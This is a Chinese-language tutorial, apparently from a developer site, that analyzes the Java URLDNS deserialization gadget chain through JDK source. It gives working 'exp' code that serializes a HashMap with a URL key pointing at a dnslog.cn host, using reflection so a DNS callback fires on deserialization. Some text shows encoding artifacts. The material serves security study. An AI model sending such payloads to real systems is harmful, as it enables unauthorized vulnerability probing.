Java安全之URLDNS鏈使用分析
什么是URLDNS鏈
URLDNS鏈是Java安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實現(xiàn),但無法進行命令執(zhí)行,只能實現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學習就會簡單許多
URLDNS鏈分析
調(diào)用鏈路
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()HashMap類分析
我們來到 HashMap.java文件,查看HashMap類的readObject方法,代碼如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}我們看下該方法的最后一行代碼
putVal(hash(key), key, value, false, false);
發(fā)現(xiàn)調(diào)用了對 key變量 調(diào)用了該類里里面的hash函數(shù),然后我們分析下key參數(shù)是怎么獲得的
通過以下代碼可以看出定義了一個K類型的key變量,然后對反序列化的輸入流進行反序列化,并把反序列化出的鍵復制給key變量
K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵
K key = (K) s.readObject();
我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會執(zhí)行h = key.hashCode(),也就是執(zhí)行key對象里的hashCode()方法
URL類分析
這里接上文,假設我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個方法的代碼
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}這里看到,只要 hashCode = -1的話,那么便會執(zhí)行handler.hashCode(this);,我們?nèi)タ聪?hashcode 屬性是怎么定義的
private int hashCode = -1;
我們發(fā)現(xiàn) hashcode 的初始值為 -1,也就是默認執(zhí)行handler.hashCode(this);,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時對象
transient URLStreamHandler handler; //這個URL傳輸實現(xiàn)類是一個transient臨時類型,不會被反序列化
經(jīng)分析,也就是把這一整個URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法
this代表的是當前對象的指針,也可以用 this.name 的方式調(diào)用當前對象中的成員
那我們?nèi)?code>URLStreamHandler類當中,查看下hashCode方法的代碼
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}我們看到 hashcode 方法接收一個URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);,并會把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)
getHostAddress函數(shù)會對URL對象代表的鏈接進行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺可以檢測到該函數(shù)的訪問
exp編寫
思路整理
根據(jù)上面的鏈路分析,我們首先需要創(chuàng)建一個指向DNSLog平臺鏈接的URL對象,然后作為鍵傳入HashMap數(shù)組,最后將該數(shù)組進行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進行訪問
初步exp
現(xiàn)在的exp大體如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
map.put(url,"114");//鍵值用不到,隨便設置
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}我們在第13行打個斷點,也就是try的這一行

然后運行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進行DNS解析

正是下面這一行代碼導致了url的提前解析
map.put(url,"114");//鍵值用不到,隨便設置
我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}我們發(fā)現(xiàn),這個put方法和readObject方法觸發(fā)的語句完全一樣,同樣會對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達hashCode方法,對URL對象解析
return putVal(hash(key), key, value, false, true);
下面是這兩個方法的語句對比可以看到是一模一樣的
- put方法:

- readObject方法:

需要注意的是假如提前觸發(fā)的話,反序列化的時候便不會再進行DNS解析
我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}可以看到只有當 hashCode = -1時,才會執(zhí)行hashCode = handler.hashCode(this);,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個URL解析的哈希值,從而為一個很長的正數(shù),從而不為 -1,然后序列化的時候這個hashCode屬性值保持不變,當反序列化到hashCode方法時,以為 hashCode != -1 直接進入if,執(zhí)行return hashCode;,最終到這里就斷掉了,無法觸發(fā)DNS解析
exp改進
那怎么辦呢?
我們可以先在put時,將 hashCode 值通過反射修改為任意一個不為 -1 的數(shù)字,從而不會提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設為 -1,示例如下
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1 map.put(url,"2333"); //這里的value用不上,隨便設置 field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);
通過反射我們可以動態(tài)修改一個對象中的屬性和方法
最終exp
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此時觸發(fā)dns請求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}我們再次在put語句下面打斷點,觀察是否還會提前觸發(fā),可以看到DNSLog平臺沒有記錄,代表put時由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)

我們在斷點處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析

總結
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關文章
springboot restTemplate連接池整合方式
這篇文章主要介紹了springboot restTemplate連接池整合方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-10-10
Jmeter關聯(lián)實現(xiàn)及參數(shù)化使用解析
這篇文章主要介紹了Jmeter關聯(lián)實現(xiàn)及參數(shù)化使用解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-08-08
Java使用雙異步實現(xiàn)將Excel的數(shù)據(jù)導入數(shù)據(jù)庫
在開發(fā)中,我們經(jīng)常會遇到這樣的需求,將Excel的數(shù)據(jù)導入數(shù)據(jù)庫中,這篇文章主要來和大家講講Java如何使用雙異步實現(xiàn)將Excel的數(shù)據(jù)導入數(shù)據(jù)庫,感興趣的可以了解下2024-01-01
java.lang.NullPointerException異常問題解決方案
這篇文章主要介紹了java.lang.NullPointerException異常問題解決方案,本篇文章通過簡要的案例,講解了該項技術的了解與使用,以下就是詳細內(nèi)容,需要的朋友可以參考下2021-08-08
java中int轉(zhuǎn)string與string轉(zhuǎn)int的效率對比
這篇文章主要介紹了java中int轉(zhuǎn)string與string轉(zhuǎn)int的效率對比,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-03-03

